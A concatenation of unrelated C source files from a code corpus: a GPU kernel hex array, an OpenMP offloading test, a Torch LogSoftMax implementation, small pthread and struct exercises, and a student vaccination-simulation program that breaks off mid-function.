0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x00000020, 0x00000005, 0x00000001, 0x0000004c, 0x00000028, 0x00000006, 0x00000001, 0x00000074,
0x00000148, 0x00000007, 0x00000001, 0x000001bc, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x000001c0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x31345900, 0x34345f30, 0x63534434, 0x31656c61, 0x75425f36, 0x5f335f66, 0x5f746f52, 0x00003039,
0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000030, 0x3fff0009, 0x00000080, 0xbfff006b,
0x00000090, 0x0000ffff, 0x000000b0, 0x3fff0001, 0x00000190, 0x3fff0002, 0x00000210, 0x3fff0006,
0x00000220, 0x3fff0005, 0x00000250, 0x3fff0000, 0x000005a0, 0xbfff003c, 0x000005d0, 0xbfff0044,
0x00000660, 0xbfff0040, 0x000006b0, 0xbfff0048, 0x000006c0, 0x3fff0003, 0x000006d0, 0x3fff007c,
0x000006e0, 0x3fff007b, 0x000006e0, 0x3fff0004, 0x00000860, 0x0005006d, 0x00000860, 0x0005006e,
0x00000860, 0x0005006f, 0x00000860, 0x00050070, 0x00000860, 0x00050071, 0x000008a0, 0x3fff0072,
0x000008d0, 0x3fff0073, 0x00000900, 0x3fff0074, 0x00000920, 0xbfff003d, 0x00000930, 0x3fff0075,
0x00000950, 0xbfff0045, 0x00000960, 0x3fff0076, 0x00000990, 0x3fff0077, 0x000009c0, 0x3fff0078,
0x000009e0, 0xbfff0041, 0x000009f0, 0x3fff007a, 0x000009f0, 0x3fff0079, 0x00000a10, 0x3fff006c,
0x00000a10, 0xbfff0049, 0x00000a30, 0xbfff003a, 0x00000a40, 0xbfff003e, 0x00000a60, 0xbfff003b,
0x00000a70, 0xbfff003f, 0x00000a90, 0xbfff0042, 0x00000aa0, 0xbfff0046, 0x00000ac0, 0xbfff0043,
0x00000ad0, 0xbfff0047, 0x00000af0, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x0000001f, 0x00000005, 0x00000001, 0x0000004c, 0x00000028, 0x00000006, 0x00000001, 0x00000074,
0x00000148, 0x00000007, 0x00000001, 0x000001bc, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x000001b8, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x31345900, 0x34345f30, 0x63534434, 0x31656c61, 0x75425f36, 0x00345f66, 0x00000000, 0x00000000,
0x00000000, 0x8000006c, 0x00000030, 0x3fff006a, 0x00000050, 0x3fff006b, 0x000000e0, 0x0000ffff,
0x00000100, 0x3fff0001, 0x00000280, 0x3fff0002, 0x000002c0, 0x3fff0003, 0x000002d0, 0x3fff0006,
0x00000300, 0x3fff0004, 0x00000310, 0x3fff0005, 0x000003b0, 0x3fff0000, 0x000006d0, 0xbfff004c,
0x00000700, 0xbfff0054, 0x00000790, 0xbfff0050, 0x000007d0, 0x3fff007c, 0x000007e0, 0xbfff0058,
0x000007f0, 0x3fff007b, 0x000009a0, 0x0005006d, 0x000009a0, 0x0005006e, 0x000009a0, 0x0005006f,
0x000009a0, 0x00050070, 0x000009a0, 0x00050071, 0x000009e0, 0x3fff0072, 0x00000a10, 0x3fff0073,
0x00000a40, 0x3fff0074, 0x00000a60, 0xbfff004d, 0x00000a70, 0x3fff0075, 0x00000a90, 0xbfff0055,
0x00000aa0, 0x3fff0076, 0x00000ad0, 0x3fff0077, 0x00000b00, 0x3fff0078, 0x00000b20, 0xbfff0051,
0x00000b30, 0x3fff007a, 0x00000b30, 0x3fff0079, 0x00000b50, 0x3fff006c, 0x00000b50, 0xbfff0059,
0x00000b70, 0xbfff004a, 0x00000b80, 0xbfff004e, 0x00000ba0, 0xbfff004b, 0x00000bb0, 0xbfff004f,
0x00000bd0, 0xbfff0052, 0x00000be0, 0xbfff0056, 0x00000c00, 0xbfff0053, 0x00000c10, 0xbfff0057,
0x00000c30, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001,
0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003,
0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000018, 0x00000005,
0x00000001, 0x00000044, 0x00000028, 0x00000006, 0x00000001, 0x0000006c, 0x00000148, 0x00000007,
0x00000001, 0x000001b4, 0x00000002, 0x00000000, 0x00000000, 0x49504d43, 0x000e0000, 0x00000008,
0x000001c0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x31345900, 0x34345f30, 0x63534434, 0x31656c61, 0x75425f36, 0x5f345f66, 0x5f746f52, 0x00303831,
0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000030, 0x3fff006a, 0x00000050, 0x3fff006b,
0x000000e0, 0x0000ffff, 0x00000100, 0x3fff0001, 0x000002b0, 0x3fff0003, 0x000002c0, 0x3fff0006,
0x000002e0, 0x3fff0002, 0x00000300, 0x3fff0004, 0x00000310, 0x3fff0005, 0x000003b0, 0x3fff0000,
0x000006d0, 0xbfff004c, 0x00000700, 0xbfff0054, 0x00000790, 0xbfff0050, 0x000007d0, 0x3fff007c,
0x000007e0, 0xbfff0058, 0x000007f0, 0x3fff007b, 0x000009a0, 0x0005006d, 0x000009a0, 0x0005006e,
0x000009a0, 0x0005006f, 0x000009a0, 0x00050070, 0x000009a0, 0x00050071, 0x000009e0, 0x3fff0072,
0x00000a10, 0x3fff0073, 0x00000a40, 0x3fff0074, 0x00000a60, 0xbfff004d, 0x00000a70, 0x3fff0075,
0x00000a90, 0xbfff0055, 0x00000aa0, 0x3fff0076, 0x00000ad0, 0x3fff0077, 0x00000b00, 0x3fff0078,
0x00000b20, 0xbfff0051, 0x00000b30, 0x3fff007a, 0x00000b30, 0x3fff0079, 0x00000b50, 0x3fff006c,
0x00000b50, 0xbfff0059, 0x00000b70, 0xbfff004a, 0x00000b80, 0xbfff004e, 0x00000ba0, 0xbfff004b,
0x00000bb0, 0xbfff004f, 0x00000bd0, 0xbfff0052, 0x00000be0, 0xbfff0056, 0x00000c00, 0xbfff0053,
0x00000c10, 0xbfff0057, 0x00000c30, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x00000020, 0x00000005, 0x00000001, 0x0000004c, 0x00000028, 0x00000006, 0x00000001, 0x00000074,
0x00000148, 0x00000007, 0x00000001, 0x000001bc, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x000001c0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x31345900, 0x34345f30, 0x63534434, 0x31656c61, 0x75425f36, 0x5f345f66, 0x5f746f52, 0x00303732,
0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000030, 0x3fff006a, 0x00000050, 0x3fff006b,
0x000000e0, 0x0000ffff, 0x00000100, 0x3fff0001, 0x00000290, 0x3fff0003, 0x000002a0, 0x3fff0006,
0x000002d0, 0x3fff0002, 0x00000310, 0x3fff0004, 0x00000320, 0x3fff0005, 0x000003c0, 0x3fff0000,
0x000006f0, 0xbfff004c, 0x00000720, 0xbfff0054, 0x000007b0, 0xbfff0050, 0x00000800, 0xbfff0058,
0x00000820, 0x3fff007c, 0x00000830, 0x3fff007b, 0x000009b0, 0x0005006d, 0x000009b0, 0x0005006e,
0x000009b0, 0x0005006f, 0x000009b0, 0x00050070, 0x000009b0, 0x00050071, 0x000009f0, 0x3fff0072,
0x00000a20, 0x3fff0073, 0x00000a50, 0x3fff0074, 0x00000a70, 0xbfff004d, 0x00000a80, 0x3fff0075,
0x00000aa0, 0xbfff0055, 0x00000ab0, 0x3fff0076, 0x00000ae0, 0x3fff0077, 0x00000b10, 0x3fff0078,
0x00000b30, 0xbfff0051, 0x00000b40, 0x3fff007a, 0x00000b40, 0x3fff0079, 0x00000b60, 0x3fff006c,
0x00000b60, 0xbfff0059, 0x00000b80, 0xbfff004a, 0x00000b90, 0xbfff004e, 0x00000bb0, 0xbfff004b,
0x00000bc0, 0xbfff004f, 0x00000be0, 0xbfff0052, 0x00000bf0, 0xbfff0056, 0x00000c10, 0xbfff0053,
0x00000c20, 0xbfff0057, 0x00000c40, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x00000020, 0x00000005, 0x00000001, 0x0000004c, 0x00000028, 0x00000006, 0x00000001, 0x00000074,
0x00000148, 0x00000007, 0x00000001, 0x000001bc, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x000001c0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x31345900, 0x34345f30, 0x63534434, 0x31656c61, 0x75425f36, 0x5f345f66, 0x5f746f52, 0x00003039,
0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000030, 0x3fff006a, 0x00000050, 0x3fff006b,
0x000000e0, 0x0000ffff, 0x00000100, 0x3fff0001, 0x00000250, 0x3fff0003, 0x00000260, 0x3fff0006,
0x000002c0, 0x3fff0002, 0x000002f0, 0x3fff0004, 0x00000300, 0x3fff0005, 0x000003a0, 0x3fff0000,
0x000006d0, 0xbfff004c, 0x00000700, 0xbfff0054, 0x00000790, 0xbfff0050, 0x000007e0, 0xbfff0058,
0x00000800, 0x3fff007c, 0x00000810, 0x3fff007b, 0x00000990, 0x0005006d, 0x00000990, 0x0005006e,
0x00000990, 0x0005006f, 0x00000990, 0x00050070, 0x00000990, 0x00050071, 0x000009d0, 0x3fff0072,
0x00000a00, 0x3fff0073, 0x00000a30, 0x3fff0074, 0x00000a50, 0xbfff004d, 0x00000a60, 0x3fff0075,
0x00000a80, 0xbfff0055, 0x00000a90, 0x3fff0076, 0x00000ac0, 0x3fff0077, 0x00000af0, 0x3fff0078,
0x00000b10, 0xbfff0051, 0x00000b20, 0x3fff007a, 0x00000b20, 0x3fff0079, 0x00000b40, 0x3fff006c,
0x00000b40, 0xbfff0059, 0x00000b60, 0xbfff004a, 0x00000b70, 0xbfff004e, 0x00000b90, 0xbfff004b,
0x00000ba0, 0xbfff004f, 0x00000bc0, 0xbfff0052, 0x00000bd0, 0xbfff0056, 0x00000bf0, 0xbfff0053,
0x00000c00, 0xbfff0057, 0x00000c20, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x0000001f, 0x00000005, 0x00000001, 0x0000004c, 0x00000028, 0x00000006, 0x00000001, 0x00000074,
0x00000148, 0x00000007, 0x00000001, 0x000001bc, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x000001b8, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x31345900, 0x34345f30, 0x63534434, 0x31656c61, 0x75425f36, 0x00355f66, 0x00000000, 0x00000000,
0x00000000, 0x8000006c, 0x00000040, 0x3fff006b, 0x00000050, 0x3fff006a, 0x000000f0, 0x0000ffff,
0x00000110, 0x3fff0001, 0x00000290, 0x3fff0002, 0x000002d0, 0x3fff0003, 0x000002e0, 0x3fff0006,
0x00000310, 0x3fff0004, 0x00000320, 0x3fff0005, 0x000003c0, 0x3fff0000, 0x000006f0, 0xbfff005c,
0x00000720, 0xbfff0064, 0x000007b0, 0xbfff0060, 0x000007f0, 0x3fff007c, 0x00000800, 0xbfff0068,
0x00000810, 0x3fff007b, 0x000009c0, 0x0005006d, 0x000009c0, 0x0005006e, 0x000009c0, 0x0005006f,
0x000009c0, 0x00050070, 0x000009c0, 0x00050071, 0x00000a00, 0x3fff0072, 0x00000a30, 0x3fff0073,
0x00000a60, 0x3fff0074, 0x00000a80, 0xbfff005d, 0x00000a90, 0x3fff0075, 0x00000ab0, 0xbfff0065,
0x00000ac0, 0x3fff0076, 0x00000af0, 0x3fff0077, 0x00000b20, 0x3fff0078, 0x00000b40, 0xbfff0061,
0x00000b50, 0x3fff007a, 0x00000b50, 0x3fff0079, 0x00000b70, 0x3fff006c, 0x00000b70, 0xbfff0069,
0x00000b90, 0xbfff005a, 0x00000ba0, 0xbfff005e, 0x00000bc0, 0xbfff005b, 0x00000bd0, 0xbfff005f,
0x00000bf0, 0xbfff0062, 0x00000c00, 0xbfff0066, 0x00000c20, 0xbfff0063, 0x00000c30, 0xbfff0067,
0x00000c50, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001,
0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003,
0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000018, 0x00000005,
0x00000001, 0x00000044, 0x00000028, 0x00000006, 0x00000001, 0x0000006c, 0x00000148, 0x00000007,
0x00000001, 0x000001b4, 0x00000002, 0x00000000, 0x00000000, 0x49504d43, 0x000e0000, 0x00000008,
0x000001c0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x31345900, 0x34345f30, 0x63534434, 0x31656c61, 0x75425f36, 0x5f355f66, 0x5f746f52, 0x00303831,
0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000040, 0x3fff006b, 0x00000050, 0x3fff006a,
0x000000f0, 0x0000ffff, 0x00000110, 0x3fff0001, 0x000002c0, 0x3fff0003, 0x000002d0, 0x3fff0006,
0x000002f0, 0x3fff0002, 0x00000310, 0x3fff0004, 0x00000320, 0x3fff0005, 0x000003c0, 0x3fff0000,
0x000006f0, 0xbfff005c, 0x00000720, 0xbfff0064, 0x000007b0, 0xbfff0060, 0x000007f0, 0x3fff007c,
0x00000800, 0xbfff0068, 0x00000810, 0x3fff007b, 0x000009c0, 0x0005006d, 0x000009c0, 0x0005006e,
0x000009c0, 0x0005006f, 0x000009c0, 0x00050070, 0x000009c0, 0x00050071, 0x00000a00, 0x3fff0072,
0x00000a30, 0x3fff0073, 0x00000a60, 0x3fff0074, 0x00000a80, 0xbfff005d, 0x00000a90, 0x3fff0075,
0x00000ab0, 0xbfff0065, 0x00000ac0, 0x3fff0076, 0x00000af0, 0x3fff0077, 0x00000b20, 0x3fff0078,
0x00000b40, 0xbfff0061, 0x00000b50, 0x3fff007a, 0x00000b50, 0x3fff0079, 0x00000b70, 0x3fff006c,
0x00000b70, 0xbfff0069, 0x00000b90, 0xbfff005a, 0x00000ba0, 0xbfff005e, 0x00000bc0, 0xbfff005b,
0x00000bd0, 0xbfff005f, 0x00000bf0, 0xbfff0062, 0x00000c00, 0xbfff0066, 0x00000c20, 0xbfff0063,
0x00000c30, 0xbfff0067, 0x00000c50, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x00000020, 0x00000005, 0x00000001, 0x0000004c, 0x00000028, 0x00000006, 0x00000001, 0x00000074,
0x00000148, 0x00000007, 0x00000001, 0x000001bc, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x000001c0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x31345900, 0x34345f30, 0x63534434, 0x31656c61, 0x75425f36, 0x5f355f66, 0x5f746f52, 0x00303732,
0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000040, 0x3fff006b, 0x00000050, 0x3fff006a,
0x000000f0, 0x0000ffff, 0x00000110, 0x3fff0001, 0x000002a0, 0x3fff0003, 0x000002b0, 0x3fff0006,
0x000002e0, 0x3fff0002, 0x00000320, 0x3fff0004, 0x00000330, 0x3fff0005, 0x000003d0, 0x3fff0000,
0x00000720, 0xbfff005c, 0x00000750, 0xbfff0064, 0x000007e0, 0xbfff0060, 0x00000830, 0xbfff0068,
0x00000850, 0x3fff007c, 0x00000860, 0x3fff007b, 0x000009e0, 0x0005006d, 0x000009e0, 0x0005006e,
0x000009e0, 0x0005006f, 0x000009e0, 0x00050070, 0x000009e0, 0x00050071, 0x00000a20, 0x3fff0072,
0x00000a50, 0x3fff0073, 0x00000a80, 0x3fff0074, 0x00000aa0, 0xbfff005d, 0x00000ab0, 0x3fff0075,
0x00000ad0, 0xbfff0065, 0x00000ae0, 0x3fff0076, 0x00000b10, 0x3fff0077, 0x00000b40, 0x3fff0078,
0x00000b60, 0xbfff0061, 0x00000b70, 0x3fff007a, 0x00000b70, 0x3fff0079, 0x00000b90, 0x3fff006c,
0x00000b90, 0xbfff0069, 0x00000bb0, 0xbfff005a, 0x00000bc0, 0xbfff005e, 0x00000be0, 0xbfff005b,
0x00000bf0, 0xbfff005f, 0x00000c10, 0xbfff0062, 0x00000c20, 0xbfff0066, 0x00000c40, 0xbfff0063,
0x00000c50, 0xbfff0067, 0x00000c70, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x00000020, 0x00000005, 0x00000001, 0x0000004c, 0x00000028, 0x00000006, 0x00000001, 0x00000074,
0x00000148, 0x00000007, 0x00000001, 0x000001bc, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x000001c0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x31345900, 0x34345f30, 0x63534434, 0x31656c61, 0x75425f36, 0x5f355f66, 0x5f746f52, 0x00003039,
0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000040, 0x3fff006b, 0x00000050, 0x3fff006a,
0x000000f0, 0x0000ffff, 0x00000110, 0x3fff0001, 0x00000260, 0x3fff0003, 0x00000270, 0x3fff0006,
0x000002d0, 0x3fff0002, 0x00000300, 0x3fff0004, 0x00000310, 0x3fff0005, 0x000003b0, 0x3fff0000,
0x00000700, 0xbfff005c, 0x00000730, 0xbfff0064, 0x000007c0, 0xbfff0060, 0x00000810, 0xbfff0068,
0x00000830, 0x3fff007c, 0x00000840, 0x3fff007b, 0x000009c0, 0x0005006d, 0x000009c0, 0x0005006e,
0x000009c0, 0x0005006f, 0x000009c0, 0x00050070, 0x000009c0, 0x00050071, 0x00000a00, 0x3fff0072,
0x00000a30, 0x3fff0073, 0x00000a60, 0x3fff0074, 0x00000a80, 0xbfff005d, 0x00000a90, 0x3fff0075,
0x00000ab0, 0xbfff0065, 0x00000ac0, 0x3fff0076, 0x00000af0, 0x3fff0077, 0x00000b20, 0x3fff0078,
0x00000b40, 0xbfff0061, 0x00000b50, 0x3fff007a, 0x00000b50, 0x3fff0079, 0x00000b70, 0x3fff006c,
0x00000b70, 0xbfff0069, 0x00000b90, 0xbfff005a, 0x00000ba0, 0xbfff005e, 0x00000bc0, 0xbfff005b,
0x00000bd0, 0xbfff005f, 0x00000bf0, 0xbfff0062, 0x00000c00, 0xbfff0066, 0x00000c20, 0xbfff0063,
0x00000c30, 0xbfff0067, 0x00000c50, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x0000001f, 0x00000005, 0x00000001, 0x0000004c, 0x00000028, 0x00000006, 0x00000001, 0x00000074,
0x00000148, 0x00000007, 0x00000001, 0x000001bc, 0x00000002
};
#else
extern const unsigned int IGVPKRN_XE_HPM_CMFCPATCH_SIZE = 216;
extern const unsigned int IGVPKRN_XE_HPM_CMFCPATCH[] = {
0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000,
};
#endif
|
the_stack_data/893728.c | // RUN: %libomptarget-compile-generic -fopenmp-version=51
// RUN: %libomptarget-run-fail-generic 2>&1 \
// RUN: | %fcheck-generic
#include <stdio.h>
int main() {
int i;
// CHECK: addr=0x[[#%x,HOST_ADDR:]], size=[[#%u,SIZE:]]
fprintf(stderr, "addr=%p, size=%ld\n", &i, sizeof i);
// CHECK-NOT: Libomptarget
#pragma omp target enter data map(alloc: i)
#pragma omp target exit data map(present, delete: i)
// CHECK: i was present
fprintf(stderr, "i was present\n");
// CHECK: Libomptarget message: device mapping required by 'present' map type modifier does not exist for host address 0x{{0*}}[[#HOST_ADDR]] ([[#SIZE]] bytes)
// CHECK: Libomptarget fatal error 1: failure of target construct while offloading is mandatory
#pragma omp target exit data map(present, delete: i)
// CHECK-NOT: i was present
fprintf(stderr, "i was present\n");
return 0;
}
|
the_stack_data/237644101.c | #ifndef TH_GENERIC_FILE
#define TH_GENERIC_FILE "generic/LogSoftMax.c"
#else
void THNN_(LogSoftMax_updateOutput)(
THNNState *state,
THTensor *input,
THTensor *output)
{
real *input_data, *output_data;
ptrdiff_t nframe = 0, dim = 0, stride = 0;
ptrdiff_t t, d;
if (input->nDimension == 1)
{
nframe = 1;
dim = input->size[0];
stride = 1;
}
else if (input->nDimension == 2)
{
nframe = input->size[0];
dim = input->size[1];
stride = 1;
}
else if (input->nDimension == 3)
{
nframe = 1;
dim = input->size[0];
stride = input->size[1]*input->size[2];
}
else if (input->nDimension == 4)
{
nframe = input->size[0];
dim = input->size[1];
stride = input->size[2]*input->size[3];
}
else
THArgCheck(0, 2, "1D, 2D, 3D or 4D tensor expected");
input = THTensor_(newContiguous)(input);
THTensor_(resizeAs)(output, input);
real *input_data0 = THTensor_(data)(input);
real *output_data0 = THTensor_(data)(output);
accreal logsum;
real maxInput;
#pragma omp parallel for private(t, d, maxInput, logsum, input_data, output_data)
for (t = 0; t < stride*nframe; t++)
{
logsum = 0;
maxInput = -THInf;
input_data = input_data0 + (t/stride)*dim*stride + t % stride;
output_data = output_data0 + (t/stride)*dim*stride + t % stride;
for (d = 0; d < dim; d++)
maxInput = THMax(maxInput, input_data[d*stride]);
for (d = 0; d < dim; d++)
logsum += exp(input_data[d*stride] - maxInput);
logsum = maxInput + log(logsum);
for (d = 0; d < dim; d++)
output_data[d*stride] = input_data[d*stride] - logsum;
}
THTensor_(free)(input);
}
void THNN_(LogSoftMax_updateGradInput)(
THNNState *state,
THTensor *input,
THTensor *gradOutput,
THTensor *gradInput,
THTensor *output)
{
THNN_CHECK_SHAPE(input, gradOutput);
real *gradInput_data, *gradOutput_data, *output_data;
ptrdiff_t nframe = 0, dim = 0, stride = 0;
ptrdiff_t t, d;
if (output->nDimension == 1)
{
nframe = 1;
dim = output->size[0];
stride = 1;
}
else if (output->nDimension == 2)
{
nframe = output->size[0];
dim = output->size[1];
stride = 1;
}
else if (output->nDimension == 3)
{
nframe = 1;
dim = output->size[0];
stride = output->size[1]*output->size[2];
}
else if (output->nDimension == 4)
{
nframe = output->size[0];
dim = output->size[1];
stride = output->size[2]*output->size[3];
}
else
THError("1D, 2D, 3D or 4D tensor expected");
output = THTensor_(newContiguous)(output);
gradOutput = THTensor_(newContiguous)(gradOutput);
THTensor_(resizeAs)(gradInput, output);
real *gradInput_data0 = THTensor_(data)(gradInput);
real *output_data0 = THTensor_(data)(output);
real *gradOutput_data0 = THTensor_(data)(gradOutput);
accreal sum;
#pragma omp parallel for private(t, sum, d, gradInput_data, output_data, gradOutput_data)
for (t = 0; t < stride*nframe; t++)
{
sum = 0;
gradInput_data = gradInput_data0 + (t/stride)*dim*stride + t % stride;
output_data = output_data0 + (t/stride)*dim*stride + t % stride;
gradOutput_data = gradOutput_data0 + (t/stride)*dim*stride + t % stride;
for (d = 0; d < dim; d++)
sum += gradOutput_data[d*stride];
for (d = 0; d < dim; d++)
gradInput_data[d*stride] = gradOutput_data[d*stride] - exp(output_data[d*stride])*sum;
}
THTensor_(free)(gradOutput);
THTensor_(free)(output);
}
#endif
|
the_stack_data/506350.c | #include <stdio.h>
struct person {
char *name;
};
void change_name(struct person p) {
p.name = "bar";
printf("Inside of the 'change_name' method,\n");
printf("Their name is %s\n\n", p.name);
};
int main() {
struct person foo = {"foo"};
printf("Outside of the 'change_name' method,\n");
printf("Before changing the person's name,\n");
printf("Their name is %s\n\n", foo.name);
change_name(foo);
printf("Outside of the 'change_name' method,\n");
printf("AFTER changing the person's name,\n");
printf("Their name is %s\n\n", foo.name);
return 0;
}
|
the_stack_data/521416.c | // PROGRAMA p01.c
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#define MAXELEMS 10000000 // nr. max de posicoes
#define MAXTHREADS 100 // nr. max de threads
#define min(a, b) (a)<(b)?(a):(b)
int npos;
pthread_mutex_t mut=PTHREAD_MUTEX_INITIALIZER; // mutex p/a sec.critica
int buf[MAXELEMS], pos=0, val=0; // variaveis partilhadas
void *fill(void *nr)
{
while (1) {
pthread_mutex_lock(&mut);
if (pos >= npos) {
pthread_mutex_unlock(&mut);
return NULL;
}
buf[pos] = val;
pos++; val++;
pthread_mutex_unlock(&mut);
*(int *)nr += 1;
}
}
void *verify(void *arg)
{
int k;
for (k=0; k<npos; k++){
pthread_mutex_lock(&mut);
if(k<pos){
if (buf[k] != k) // detecta valores errados
printf("ERROR: buf[%d] = %d\n", k, buf[k]);
}else{
k--;
// do nothing;
}
pthread_mutex_unlock(&mut);
}
return NULL;
}
int main(int argc, char *argv[])
{
int k, nthr, count[MAXTHREADS]; // array para contagens
pthread_t tidf[MAXTHREADS], tidv; // tids dos threads
int total;
if (argc != 3) {
printf("Usage: %s <nr_pos> <nr_thrs>\n",argv[0]);
return 1;
}
npos = min(atoi(argv[1]), MAXELEMS); //no. efectivo de posicoes
nthr = min(atoi(argv[2]), MAXTHREADS); //no. efectivo de threads
for (k=0; k<nthr; k++) { // criacao das threads 'fill'
count[k] = 0;
pthread_create(&tidf[k], NULL, fill, &count[k]);
}
pthread_create(&tidv, NULL, verify, NULL);
total=0;
for (k=0; k<nthr; k++) { //espera threads 'fill'
pthread_join(tidf[k], NULL);
printf("count[%d] = %d\n", k, count[k]);
total += count[k];
}
printf("total count = %d\n",total); // mostra total
pthread_join(tidv, NULL); // espera thread 'verify'
return 0;
}
|
the_stack_data/1036650.c | //to compile: gcc <filename>.c -lpthread
#include<stdio.h>
#include<pthread.h>
#include<stdlib.h>
#include<time.h>
#include <unistd.h>
//#include <wait.h>
//#include <sys/shm.h>
#include <errno.h>
#define ANSI_CYAN "\033[1;36m"
#define ANSI_RED "\033[1;31m"
#define ANSI_GREEN "\033[1;32m"
#define ANSI_YELLOW "\033[1;33m"
#define ANSI_MAGENTA "\033[1;35m"
#define ANSI_DEFAULT "\033[0m"
typedef struct company{
float x ; //probability//
int r; //no of batches//
int w; //time taken//
int p; //no.of vaccines in a batch//
}company;
typedef struct vacc_zones{
int k ; //no .of vaccines given//
int curr_slots;//current slots
float probab;//probability of sucess of vaccine
int vaccneed; //0 if not needed ,1 if needed
int availslots[8]; //every zone can have atmax 8 slots at once // -2 are slots which arent meant to be distributes , -1 are slots which are meant to be availed by students//
}vacc_zones;
typedef struct student{
int turn; //how much time did he/she get vaccinated
int status; //0 for free ,1 in vaccination
int time;//arrival time
int azone; //alotted zone -1 if not alloted
}student;
int n_companies,m_zones,o_students;
pthread_t companies[200];
pthread_t vaccinezones[200];
pthread_t students[200];
company *comp_thread[200];
vacc_zones *zone_thread[200];
student *student_thread[200];
pthread_mutex_t mutex,mutex1,mutex2,mutex3;
int students_waiting=0;
int students_vaccinated=0;
int negstudents=0;
int no_of_students_arrived=0;
int min(int a ,int b ,int c)
{
for(int i=0;i<=8;i++)
{
if(i==a) return a;
else if(i==b) return b;
else if(i==c)return c;
}
}
void *student_coming(void *args){
int num1=*(int *)args;
sleep(student_thread[num1]->time);
students_waiting++;
no_of_students_arrived++;
while(student_thread[num1]->turn<3)
{
printf(ANSI_MAGENTA"Student %d has arrived for his %d round of Vaccination\n",num1,student_thread[num1]->turn+1);
while(1) //coz it should be in busy waiting
{
int i;
for(i=0;i<m_zones;i++)
{
for(int j=1;j<=8;j++)
{
pthread_mutex_lock(&mutex1);
if(zone_thread[i]->availslots[j]==-1)
{
zone_thread[i]->availslots[j]=num1;
printf(ANSI_GREEN"Student %d assigned a slot on the Vaccination Zone %d and waiting to be vaccinated\n",num1,i);
student_thread[num1]->azone=i;
student_thread[num1]->status=1;
student_thread[num1]->turn++;
zone_thread[i]->curr_slots--;
students_waiting--;
}
pthread_mutex_unlock(&mutex1);
if(student_thread[num1]->azone !=-1)
break;
}
if(student_thread[num1]->azone !=-1)
break;
}
if(student_thread[num1]->azone !=-1)
break;
}
//wait till vaccinated
